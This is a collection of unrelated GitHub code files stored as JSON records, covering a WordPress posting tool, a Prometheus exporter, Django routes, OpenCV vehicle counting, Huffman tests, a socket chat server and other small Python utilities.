folder where the 'post_file' resides. The 'post_file' will not be sent to WordPress.\",\n action=\"store_true\")\n parser.add_argument('-n', '--number',\n help=\"The number of draft posts to load. Works only in combination with the '-l' argument.\",\n default=25)\n parser.add_argument('--proxy',\n help=\"A proxy configuration to use when working behind a proxied network, example: http://proxy.host:port\")\n parser.add_argument('-U', '--update',\n help=\"Forces update of every draft loaded, the check for local modifications is disabled. Works only in combination with the '-l' argument.\",\n action=\"store_true\")\n parser.add_argument('-V', '--verify',\n help=\"Enables verification of tags. If the blog post contains tags which are not defined, the article will not be sent to WordPress.\",\n action='store_true')\n args = parser.parse_args()\n\n configuration = {}\n config_file = expanduser(\"~\") + '/wpedit.conf'\n if args.config:\n config_file = args.config\n execfile(config_file, configuration)\n\n mdxml.init()\n\n if args.load:\n draft_count = args.number\n target_folder = get_folder_name(args.post_file)\n export_drafts(configuration, target_folder, draft_count, args.update)\n else:\n defined_tags = load_tags(configuration)\n defined_categories = load_categories(configuration)\n id, title, categories, tags, content = convert_file(args.post_file)\n if not verify_categories(categories, defined_categories):\n print(\"Category-verification failed for {0}, post is not sent to WordPress.\".format(args.post_file))\n exit()\n if args.verify and not verify_tags(tags, defined_tags):\n print(\"Tag-verification failed for {0}, post is not sent to WordPress.\".format(args.post_file))\n exit()\n post_id = send_to_wordpress(id, title, categories, tags, content, configuration)\n if not id and post_id:\n add_post_id_to_original(args.post_file, post_id)\n\nif __name__ == \"__main__\":\n main()","repo_name":"ghajba/wp-editor","sub_path":"wpedit/wpedit.py","file_name":"wpedit.py","file_ext":"py","file_size_in_byte":9294,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"33839300086","text":"from flask import Flask, make_response\nfrom prometheus import *\n\napp = Flask(__name__)\n\n@app.route('/metrics')\ndef index():\n response = make_response(prometheus(), 200)\n response.mimetype = \"text/plain\"\n return response\n\nif __name__ == '__main__':\n from waitress import serve\n serve(app, host=\"0.0.0.0\", port=5005)\n","repo_name":"linuxarun/custom-prometheus-exporter","sub_path":"prometheus_server.py","file_name":"prometheus_server.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"956527496","text":"from etl.etl_prix import ETLPrix\nfrom etl.etl_zonasul import ETLZonaSul\n\ndef create_etl(etl_name):\n\n factory = {\n \"zona_sul\": ETLZonaSul(),\n \"prix\":ETLPrix()\n }\n\n if etl_name in factory:\n return factory[etl_name]\n return None\n","repo_name":"Karmendes/supermarket","sub_path":"src/etl/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42593030750","text":"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.project_list, name='list'),\n path('random/', views.randomProjects, name='random'),\n path('/', views.RetriveProjectAPIView.as_view(), name='retrive'),\n path('create/', views.ProjectListCreateAPIView.as_view(), name='create'),\n path('add/', views.ProjectCreateView.as_view(), name='add'),\n path('/', views.project_detail, name='detail')\n]\n","repo_name":"Byronodhiambo/drf","sub_path":"django_tests/budget/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34833757970","text":"#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nFunction: BaiDuIP地址定位\r\nAuthor: endness\r\nTime: 2016年10月20日 20:17:33\r\n\"\"\"\r\nimport requests\r\nimport json\r\nfrom pprint import *\r\n\r\n\r\nak = 'SGGZrM4LGtS79Lepjm4fyG02QxXdNGiM'\r\n#IP为空默认本机IP\r\ndef search():\r\n url = \"https://api.map.baidu.com/location/ip?ak=fyQhDwa0rxKCY9Z6nrr1CNqBvionXTce&coor=bd09ll\"\r\n html = requests.get(url).content\r\n s = json.loads(html)\r\n pprint(s)\r\n data={}\r\n data[\"lng\"] = s[\"content\"][\"point\"][\"x\"]#经度\r\n data[\"lat\"] = s[\"content\"][\"point\"][\"y\"] #纬度\r\n data[\"formatted_address\"] = s[\"content\"][\"address\"] #详细地址\r\n # data[\"admin_area_code\"] = s[\"content\"][\"address_component\"][\"admin_area_code\"]#行政区划代码（身份证前6位）\r\n data[\"map\"] = getmap(data[\"lng\"],data[\"lat\"])\r\n pprint(data)\r\n return data\r\n\r\ndef getmap(lng,lat):\r\n url = \"http://api.map.baidu.com/staticimage?width=600&height=400¢er=%s,%s&zoom=11\"%(lng,lat)\r\n return url\r\n\r\nif __name__ == \"__main__\":\r\n search()","repo_name":"jiangsir404/S7star","sub_path":"app/baiduip.py","file_name":"baiduip.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"70879619983","text":"import cv2\nimport numpy as np\nimport time\nimport vehicles\nfrom random import randint\n\n\nclass Car:\n tracks=[]\n def __init__(self,i,xi,yi,max_age):\n self.i=i\n self.x=xi\n self.y=yi\n self.tracks=[]\n self.done=False\n self.state='0'\n self.age=0\n self.max_age=max_age\n self.dir=None\n\n def getTracks(self):\n return self.tracks\n\n def getId(self): #For the ID\n return self.i\n\n def getState(self):\n return self.state\n\n def getDir(self):\n return self.dir\n\n def getX(self): #for x coordinate\n return self.x\n\n def getY(self): #for y coordinate\n return self.y\n\n def updateCoords(self, xn, yn):\n self.age = 0\n self.tracks.append([self.x, self.y])\n self.x = xn\n self.y = yn\n\n def setDone(self):\n self.done = True\n\n def timedOut(self):\n return self.done\n\n def going_UP(self, mid_start, mid_end):\n if len(self.tracks)>=2:\n if self.state=='0':\n if self.tracks[-1][1]=mid_end:\n state='1'\n self.dir='up'\n return True\n else:\n return False\n else:\n return False\n else:\n return False\n\n def going_DOWN(self,mid_start,mid_end):\n if len(self.tracks)>=2:\n if self.state=='0':\n if self.tracks[-1][1]>mid_start and self.tracks[-2][1]<=mid_start:\n start='1'\n self.dir='down'\n return True\n else:\n return False\n else:\n return False\n else:\n return False\n\n def age_one(self):\n self.age+=1\n if self.age>self.max_age:\n self.done=True\n return True\n\n#Class2\n\nclass MultiCar:\n def __init__(self,cars,xi,yi):\n self.cars=cars\n self.x=xi\n self.y=yi\n self.tracks=[]\n self.done=False\n\n\n\ncap=cv2.VideoCapture(\"video.mp4\")\nfgbg=cv2.createBackgroundSubtractorMOG2(detectShadows=False,history=200,varThreshold = 90)\nkernalOp = np.ones((3,3),np.uint8)\nkernalOp2 = np.ones((5,5),np.uint8)\nkernalCl = np.ones((11,11),np.uint8)\nfont = cv2.FONT_HERSHEY_SIMPLEX\ncars = []\nmax_p_age = 5\npid = 1\ncnt_up=0\ncnt_down=0\n\nprint(\"Car counting and classification\")\n\nline_up=400\nline_down=250\n\nup_limit=230\ndown_limit=int(4.5*(500/5))\n\nwhile(cap.isOpened()):\n ret,frame=cap.read()\n frame=cv2.resize(frame,(900,500))\n for i in cars:\n i.age_one()\n fgmask=fgbg.apply(frame)\n\n if ret==True:\n ret,imBin=cv2.threshold(fgmask,200,255,cv2.THRESH_BINARY)\n mask = cv2.morphologyEx(imBin, cv2.MORPH_OPEN, kernalOp)\n mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernalCl)\n\n\n (countours0,hierarchy)=cv2.findContours(mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\n for cnt in countours0:\n area=cv2.contourArea(cnt)\n print(area)\n if area>300:\n\n m=cv2.moments(cnt)\n cx=int(m['m10']/m['m00'])\n cy=int(m['m01']/m['m00'])\n x,y,w,h=cv2.boundingRect(cnt)\n\n\n new=True\n if cy in range(up_limit,down_limit):\n for i in cars:\n if abs(x - i.getX()) <= w and abs(y - i.getY()) <= h:\n new = False\n i.updateCoords(cx, cy)\n\n if i.going_UP(line_down,line_up)==True:\n cnt_up+=1\n\n elif i.going_DOWN(line_down,line_up)==True:\n cnt_down+=1\n\n break\n if i.getState()=='1':\n if i.getDir()=='down'and i.getY()>down_limit:\n i.setDone()\n elif i.getDir()=='up'and i.getY()= 0:\n cv2.putText(frame, \"Truck\", (i.getX(), i.getY()), font, 1, (0,0,255), 2, cv2.LINE_AA)\n else:\n cv2.putText(frame, \"car\", (i.getX(), i.getY()), font, 1, (0,0,255), 2, cv2.LINE_AA)\n\n\n str_up='UP: '+str(cnt_up)\n str_down='DOWN: '+str(cnt_down)\n frame=cv2.line(frame,(0,line_up),(900,line_up),(0,0,255),3,8)\n frame=cv2.line(frame,(0,up_limit),(900,up_limit),(0,0,0),1,8)\n\n frame=cv2.line(frame,(0,down_limit),(900,down_limit),(255,255,0),1,8)\n frame = cv2.line(frame, (0, line_down), (900, line_down), (255, 0,0), 3, 8)\n\n\n\n\n cv2.putText(frame, str_up, (10, 40), font, 0.5, (0, 0, 255), 1, cv2.LINE_AA)\n cv2.putText(frame, str_down, (10, 90), font, 0.5, (255, 0, 0), 1, cv2.LINE_AA)\n cv2.imshow('Frame',frame)\n\n if cv2.waitKey(1)&0xff==ord('q'):\n break\n\n else:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"AmeyOP/Vehicle-Detection-and-Recognition-System","sub_path":"Vehicle_detection_main.py","file_name":"Vehicle_detection_main.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35857830209","text":"import unittest\n\nfrom huffman import HuffmanTree, Leaf, InternalNode\n\n\nclass HuffmanTreeTest(unittest.TestCase):\n def setUp(self):\n self.huffman = HuffmanTree()\n self.addTypeEqualityFunc(Leaf, self.do_leafs_equal)\n\n def test_construct(self):\n self.assertIsNotNone(self.huffman)\n\n def test_leaf_sorting(self):\n leafs = [\n Leaf(1, 0.4),\n Leaf(1, 0.1),\n Leaf(1, 0.2),\n Leaf(1, 0.1),\n Leaf(1, 0.3),\n ]\n sorted_leafs = [\n Leaf(1, 0.1),\n Leaf(1, 0.1),\n Leaf(1, 0.2),\n Leaf(1, 0.3),\n Leaf(1, 0.4),\n ]\n self.do_lists_of_leafs_equal(\n sorted_leafs, HuffmanTree.sort_leafs(leafs))\n\n def test_create_leafs(self):\n leafs = HuffmanTree.create_leafs(\"test\")\n expect = [Leaf(\"t\", 0.5), Leaf(\"e\", 0.25), Leaf(\"s\", 0.25)]\n self.do_lists_of_leafs_equal(list(leafs), expect)\n\n leafs = HuffmanTree.create_leafs(\"aaaaaaaAAAAbbbbb eee\")\n expect = [Leaf(\"a\", 0.35), Leaf(\"A\", 0.2), Leaf(\n \"b\", 0.25), Leaf(\" \", 0.05), Leaf(\"e\", 0.15)]\n self.do_lists_of_leafs_equal(list(leafs), expect)\n\n def test_compute_code(self):\n tree = InternalNode(1, Leaf(\"a\", 0.5), Leaf(\"b\", 0.5))\n code = HuffmanTree.compute_code(tree)\n self.assertEqual(code, {'a': '0', 'b': '1'})\n tree = InternalNode(1, Leaf(\"a\", 0.5),\n InternalNode(0.5, Leaf(\"b\", 0.25), Leaf(\"c\", 0.25)))\n code = HuffmanTree.compute_code(tree)\n self.assertEqual(code, {'a': '0', 'b': '10', 'c': '11'})\n tree = InternalNode(1, Leaf(\"a\", 0.5),\n InternalNode(0.5, Leaf(\"b\", 0.25),\n InternalNode(0.25, Leaf(\"c\", 0.1), Leaf(\"d\", 0.15))))\n code = HuffmanTree.compute_code(tree)\n self.assertEqual(code, {'a': '0', 'b': '10', 'c': '110', 'd': '111'})\n\n def test_encode(self):\n code = {'a': '0', 'b': '1'}\n self.assertEqual(HuffmanTree.encode(\"ababbab\", code), \"0101101\")\n self.assertEqual(HuffmanTree.encode(\"\", code), \"\")\n code = {'a': '0', 'b': '1'}\n self.assertRaises(Exception, HuffmanTree.encode, \"abcabbab\", code)\n\n def test_compress(self):\n self.assertEqual(self.huffman.compress(\"test\"), \"010110\")\n self.assertEqual(self.huffman.compress(\"AAAABBCC\"), \"000010101111\")\n self.assertEqual(self.huffman.compress(\"AAAA\"), \"0000\")\n self.assertEqual(self.huffman.compress(\"AAAA\\nAAA\"), \"11110111\")\n\n def test_decode(self):\n self.assertEqual(HuffmanTree.decode(\n \"010110\", {\"t\": \"0\", \"e\": \"10\", \"s\": \"11\"}), \"test\")\n self.assertEqual(HuffmanTree.decode(\n \"00101111100\", {\"t\": \"00\", \"e\": \"1011\", \"s\": \"111\"}), \"test\")\n self.assertRaises(Exception, HuffmanTree.decode,\n \"0101101\", {\"t\": \"0\", \"e\": \"10\", \"s\": \"11\"})\n\n def do_leafs_equal(self, a: Leaf, b: Leaf, msg=None):\n if a != b:\n raise self.failureException(f\"{a} does not match {b}!\")\n\n def do_lists_of_leafs_equal(self, a: [Leaf], b: [Leaf], msg=None):\n for i, leaf in enumerate(a):\n if i >= len(b):\n self.failureException(\"Lists of leafs do not match!\")\n self.assertEqual(leaf, b[i])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"larsgroeber/prg1","sub_path":"EPR/sheet7/huffman_test.py","file_name":"huffman_test.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"20757493688","text":"#!/usr/bin/python\n# coding: utf-8\n# extract text segments text text from TMX into plaintext files for each language (en and ru) from\n# https://transvision.mozfr.org/downloads/\n\n\nimport sys\nfrom xml.dom import minidom\nimport os\n\nOUT = 'mozilla_localise/'\nos.makedirs(OUT, exist_ok=True)\n\nargument = '/home/u2/resources/corpora/parallel/mozilla_en-US_ru_b1c0d54dec67ae189865fa6c33b9aad7_normal.tmx'\n\ndoc = minidom.parse(argument)\nnode = doc.documentElement\ntranslation_units = doc.getElementsByTagName(\"tu\")\nen_segments = []\nru_segments = []\nen_wc = 0\nru_wc = 0\nen_shorts = 0\n\nwith open(OUT + 'en_localise.txt', 'w') as en_out, open(OUT + 'ru_localise.txt', 'w') as ru_out:\n for tu in translation_units:\n tuvs = tu.getElementsByTagName(\"tuv\")\n \n for tuv in tuvs:\n text = tuv.getElementsByTagName('seg')[0].childNodes[-1].data\n lang = tuv.getAttributeNode('xml:lang').nodeValue\n if lang == 'en-US':\n en_segments.append(text)\n if lang == 'ru':\n ru_segments.append(text)\n for pair in zip(en_segments, ru_segments):\n if len(pair[0].split()) > 2 and len(pair[1].split()) > 2:\n en_wc += len(pair[0].split())\n ru_wc += len(pair[1].split())\n \n # print(pair[0], pair[1])\n en_out.write(pair[0] + '\\n')\n ru_out.write(pair[1] + '\\n')\n else:\n if len(pair[0].split()) <= 2:\n en_shorts += 1\n\nprint('Word count: EN %d, RU %d' % (en_wc, ru_wc))\nprint('Total number of sentence pairs %d' % len(en_segments))\nprint('Sources > 2', len(en_segments) - en_shorts)\n\n\n\n\n","repo_name":"kunilovskaya/parcorp","sub_path":"preprocess/mozilla_extract-text-from-tmx.py","file_name":"mozilla_extract-text-from-tmx.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8368182274","text":"project = 'OpenTelemetry C++'\ncopyright = '2021, OpenTelemetry authors'\nauthor = 'OpenTelemetry authors'\n\n# The full version, including alpha/beta/rc tags\nrelease = \"1.12.0\"\n\n# Run sphinx on subprojects and copy output\n# -----------------------------------------\n# This is necessary so the readthedocs build works. It doesn't invoke the\n# Makefile, but just runs sphinx on this conf.py.\nimport os\nimport shutil\nimport subprocess\nif not os.path.exists('doxyoutput'):\n os.makedirs('doxyoutput')\n\n# -- General configuration ---------------------------------------------------\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n \"breathe\",\n \"exhale\"\n]\n\nexhale_args = {\n \"containmentFolder\": \"otel_docs\",\n \"rootFileName\": \"otel_docs.rst\",\n \"rootFileTitle\": \"Reference documentation\",\n \"doxygenStripFromPath\": \"..\",\n \"exhaleExecutesDoxygen\": True,\n \"exhaleUseDoxyfile\": True,\n \"createTreeView\": True\n}\n\nbreathe_projects = {\n \"OpenTelemetry C++\": \"doxyoutput/xml\",\n}\nbreathe_default_project = \"OpenTelemetry C++\"\n\n\nprimary_domain = \"cpp\"\n\nhiglight_language = \"cpp\"\n\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This pattern also affects html_static_path and html_extra_path.\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n\n# -- Options for HTML output -------------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\n#html_theme = \"furo\"\nhtml_theme = \"sphinx_rtd_theme\"\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n","repo_name":"open-telemetry/opentelemetry-cpp","sub_path":"docs/public/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":561,"dataset":"github-code","pt":"47"} +{"seq_id":"38011492694","text":"import sys\nimport mysql.connector\nimport dbcfg\n\nclass LoadStratsGame2MySQL():\n \"\"\"\n Stripped-down version of the relational model for Azul\n \"\"\"\n def __init__(self, strats, res):\n self._cnct = None\n self._stratsflnm = strats\n # self._trunc = self._stratsflnm != \"-\"\n self._gameresflnm = res\n self._stratsids = {}\n\n def startup(self):\n self._cnct = mysql.connector.connect(**dbcfg.dbcon)\n\n def shutdown(self):\n self._cnct.close()\n\n def stdweight(self, strats):\n # We only want a max of 6 \"heavy\" weights, with the rest being 1.\n # So 9 would be 6 5 4 3 2 1 1 1 1 and\n # 7 would be 6 5 4 3 2 1 1 and\n # 4 would be 4 3 2 1.\n stratcnt = len(strats.split(\"+\"))\n maxwgt = min(5, stratcnt)\n weights = [max(r, 1) for r in range(maxwgt, maxwgt - stratcnt, -1)]\n return (\"\".join([str(w) for w in weights]))\n\n def savestrats(self):\n wrcurs = self._cnct.cursor()\n truncstmt = \"TRUNCATE TABLE strategy_set_gui\"\n wrcurs.execute(truncstmt)\n print(\"table strategy_set_gui truncated\")\n fl = open(self._stratsflnm)\n for ln in fl:\n flds = ln.strip().split(\":\")\n if len(flds) >= 7:\n (strats, winrt, cnt, z1, z1, z3, wgt) = flds\n else:\n strats = flds[0]\n wgt = self.stdweight(strats)\n insstmt = \"\"\"\n INSERT INTO strategy_set_gui\n (StrategySetTxt, WeightSummaryNum) VALUES\n ('{0}', {1})\"\"\".format(strats, wgt)\n print(insstmt)\n wrcurs.execute(insstmt)\n stratid = wrcurs.lastrowid\n self._cnct.commit()\n self._stratsids[strats] = stratid\n print(str(self._stratsids))\n wrcurs.close()\n\n def savegameresults(self, trunc=True):\n wrcurs = self._cnct.cursor()\n if trunc:\n truncstmt = \"TRUNCATE TABLE game_results_gui\"\n wrcurs.execute(truncstmt)\n print(\"table game_results_gui truncated\")\n fl = open(self._gameresflnm)\n cnt = 0\n prevgame = \"\"\n maxstratid = 1000000\n playpos = 0\n for ln in fl:\n flds = ln.strip().split()\n if len(flds) < 5:\n print(\"not enough records?: [{0}]\".format(ln.strip()))\n continue\n gameid = flds[0]\n if gameid != prevgame:\n playpos = 1\n prevgame = gameid\n else:\n playpos += 1\n winloss = flds[1][0]\n strats = \"+\".join(flds[3:-4])\n scor = int(flds[-1])\n if strats not in self._stratsids.keys():\n self._stratsids[strats] = maxstratid\n maxstratid += 1\n stratid = self._stratsids[strats]\n insstmt = \"\"\"\n INSERT INTO game_results_gui\n (GameId, PlayerPosNum, StrategySetID, ScoreCnt, WinFlg) VALUES\n ({0}, {1}, {2}, {3}, '{4}')\"\"\".format(gameid, playpos,\n stratid, scor, winloss)\n # print(insstmt)\n wrcurs.execute(insstmt)\n cnt += 1\n if (cnt % 100 == 0):\n self._cnct.commit()\n print(\"{0} game players / {1} games added\".format(cnt, cnt // 4))\n self._cnct.commit()\n print(\"{0} game players / {1} games added\".format(cnt, cnt // 4))\n wrcurs.close()\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 3:\n print(\"usage: {0} strategyFile resultsFile [truncate]\".format(sys.argv[0]))\n sys.exit(-1)\n\n stratsfl = sys.argv[1]\n resfl = sys.argv[2]\n if len(sys.argv) > 3:\n truncflg = sys.argv[3] == \"1\"\n else:\n truncflg = True\n lssg2m = LoadStratsGame2MySQL(stratsfl, resfl)\n lssg2m.startup()\n lssg2m.savestrats()\n lssg2m.savegameresults(truncflg)\n lssg2m.shutdown()\n","repo_name":"fitzscott/Azul","sub_path":"LoadStratsGame2MySQL.py","file_name":"LoadStratsGame2MySQL.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7500915516","text":"# https://ece.uwaterloo.ca/~dwharder/NumericalAnalysis/06LeastSquares/extrapolation/complete.html\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\n\r\nsns.set_theme()\r\n\r\ndata = np.array([(0.3, 0.7), (0.5, 0.6), (0.8, 0.4), (1.2, 0.2), (1.6, -0.1)])\r\n\r\nfit1 = np.polyfit(data[:,0], data[:,1] ,1)\r\nfitp = np.polyfit(data[:,0], data[:,1] ,4)\r\n\r\nline = np.poly1d(fit1)\r\npoly = np.poly1d(fitp)\r\nnew_points = np.linspace(0.2,2)\r\ny_line = line(new_points)\r\ny_poly = poly(new_points)\r\ne_point = line(2)\r\n\r\nplt.plot(new_points, y_line, 'g', label='least squares fit')\r\nplt.plot(new_points, y_poly, 'r', label='polynomial fit')\r\nplt.scatter(data[:,0], data[:,1], fc='none', ec='k', label='data points')\r\nplt.scatter(2, e_point, fc='none', ec='g', label='projected point')\r\n\r\n\r\nplt.xlabel(r'$x$')\r\nplt.ylabel(r'$f(x)$')\r\nplt.title('Compare Polynomial and \\nLeast Squares Fit')\r\nplt.legend()\r\n\r\nplt.show()\r\n#plt.savefig('../../figures/extrap_intro.png')\r\n\r\n'''\r\nmin and max x-values\r\nmin(data[:,0])\r\nmax(data[:,0])\r\n'''\r\n","repo_name":"Edgar-Donk/Pesky-Imps","sub_path":"docs/source/examples/extrap/intro_example.py","file_name":"intro_example.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14430463047","text":"import math\n\na, b, deg = map(float, input().split())\n\nrad = deg * math.pi / 180\nc = (a**2 + b**2 - 2*a*b*math.cos(rad)) ** 0.5\n\narea = a*b*math.sin(rad) / 2.0\nperimeter = a + b + c\nh = 2*area / a\n\nprint(\"%.6f\\n%.6f\\n%.6f\\n\" % (area, perimeter, h))\n","repo_name":"nil-two/misc","sub_path":"aoj/volume100/python3/A10025.py","file_name":"A10025.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72351738704","text":"import os\nimport json\nfrom subprocess import Popen, PIPE, TimeoutExpired\nfrom .plugin import plugin\n\nclass sloc(plugin):\n\n IDENTIFIER = \"sloc\"\n\n def __init__(self, config: str):\n self.config = config\n\n def check_project(self, direntry):\n git_process = Popen([\"scc\", \".\"], stdout=PIPE, cwd=direntry)\n language_count = {}\n\n try:\n output = git_process.communicate(timeout=2)[0]\n data = output.decode()\n languages = self.config[\"languages\"]\n\n for line in data.split('\\n'):\n for lang in languages:\n if line.startswith(lang):\n language_count.update({lang : int(line.split()[-2])})\n \n except TimeoutExpired:\n count_commits.kill()\n \n return language_count","repo_name":"kajdreef/project-stats","sub_path":"project_stats/plugins/sloc.py","file_name":"sloc.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43187485785","text":"from collections import defaultdict\n\n\nd = defaultdict(list)\nN = int(input())\nplili = []\nfor _ in range(N):\n m = int(input())\n pli = []\n for _ in range(m):\n p, e = (int(x) for x in input().split())\n pli.append((p, e))\n if len(d[p]) == 0:\n d[p].append(e)\n elif len(d[p]) == 1:\n x = d[p][0]\n d[p] = [min(e, x), max(e, x)]\n else:\n x = d[p][0]\n y = d[p][1]\n d[p] = sorted([e,x,y])[1:]\n \n plili.append(pli)\n\nans = set()\nfor pli in plili:\n li = []\n for p, e in pli:\n if len(d[p]) == 1:\n li.append(p)\n elif d[p][1] == e and d[p][0] != d[p][1]:\n li.append(p)\n\n ans.add(tuple(li))\n\nprint(len(ans))\n","repo_name":"hitochan777/kata","sub_path":"atcoder/abc259/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72623760464","text":"# my own batch gradient descent test for a hand make y = 3x + randn \nimport random\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nx1 = np.array(range(0, 100))\ny1 = np.array([3*x_i + random.randint(-3,3) for x_i in x1])\ndata_trained = zip(x1,y1)\n\nx0 = np.array([1]*len(x1)) # unit vector with len(x1)\ntheta_guess = [0,10]\ntheta = theta_guess\nh_theta = x1*theta[1] + x0*theta[0]\nalpha = 10**-7 \ntol = 10-1\ni = 0\nwhile tol>10**-5:\n\th_theta = x1*theta[1] + x0*theta[0]\n\ttheta_iter0 = theta[0] + alpha*(sum((y1-h_theta)*x0))\n\ttheta_iter1 = theta[1] + alpha*(sum((y1-h_theta)*x1))\n\ti+=1\n\ttol = math.sqrt((theta[0]-theta_iter0)**2 + (theta[1]-theta_iter1)**2)\n\tprint (i,tol)\n\ttheta = [theta_iter0,theta_iter1]\n\ny_predict = theta[0]*x0 + theta[1]*x1\n\nplt.scatter(x1,y1)\nplt.plot(x1,y_predict,'r')\nplt.legend(['trained data','predict'])\nplt.show()\n","repo_name":"ihongChen/GradientDescent","sub_path":"my_pred.py","file_name":"my_pred.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28499082350","text":"import socket\r\nimport threading\r\n\r\nHOST_NAME = socket.gethostname()\r\nHOST_IP = socket.gethostbyname(HOST_NAME)\r\nPORT = 5050\r\nDISCONNECT = 'disconnect'\r\nall_clients = []\r\n\r\ndef remove(client):\r\n if client in all_clients:\r\n all_clients.remove(client)\r\n client.close()\r\n\r\ndef broadcast_message(message_to_all, sender):\r\n for client in all_clients:\r\n if (client != sender):\r\n try:\r\n client.send(bytes(message_to_all, 'utf-8'))\r\n except:\r\n remove(client)\r\n\r\ndef handle_client(conn):\r\n conn.send(bytes('Successfully connected to chat server! \\nYour Name ? ', 'utf-8'))\r\n client_name = conn.recv(1024).decode()\r\n print(f'{client_name} has entered the chat')\r\n\r\n while True:\r\n message_from_client = conn.recv(1024).decode()\r\n try:\r\n if message_from_client != DISCONNECT:\r\n message_to_all = '< ' + client_name + ' > ' + message_from_client\r\n broadcast_message(message_to_all, conn)\r\n else:\r\n remove(conn)\r\n except Exception as e:\r\n print(f'Error Occurred ! {e}')\r\n remove(conn)\r\n\r\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nprint(server)\r\nserver.bind((HOST_IP, PORT))\r\nserver.listen(10)\r\nprint(f'SERVER LISTENING... ON PORT {PORT}') \r\n\r\nwhile True:\r\n conn, addr = server.accept()\r\n print(conn)\r\n all_clients.append(conn)\r\n thread_handling_client = threading.Thread(target = handle_client, args = (conn,))\r\n thread_handling_client.start() ","repo_name":"KSIX2/CLI-chat-app-using-sockets","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"75273984783","text":"\"\"\"\n判断某个 psutil_study 程序是否在运行\n\n判断的 exe 程序名字只能是文件名，不能是路径\n如：\nmsedge.exe (√)\nC:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe (×)\n\n\"\"\"\n# 使用psutil来判断\nimport psutil\ndef proc_exist(process_name):\n pl = psutil.pids()\n for pid in pl:\n if psutil.Process(pid).name() == process_name:\n return pid\n# exe_name = \"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe\"\nexe_name = 'msedge.exe'\nif isinstance(proc_exist(exe_name), int):\n print(\"%s 正在运行\" % exe_name)\nelse:\n print('%s 没有运行' % exe_name)","repo_name":"jelly-lemon/Python_study","sub_path":"exe_is_running.py","file_name":"exe_is_running.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4919104563","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('schools', '0031_auto_20160418_1239'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='schoolprofile',\n name='extended_care_offered',\n ),\n migrations.AddField(\n model_name='schoolprofile',\n name='after_care_offered',\n field=models.NullBooleanField(help_text=' Do you provide after care?'),\n ),\n migrations.AddField(\n model_name='schoolprofile',\n name='before_care_offered',\n field=models.NullBooleanField(help_text=' Do you provide before care?'),\n ),\n migrations.AlterField(\n model_name='schoolprofile',\n name='lottery_deadline',\n field=models.DateTimeField(null=True, help_text='If your school has a lottery, what is the deadline for applying for the 2016-2017 school year?', blank=True),\n ),\n migrations.AlterField(\n 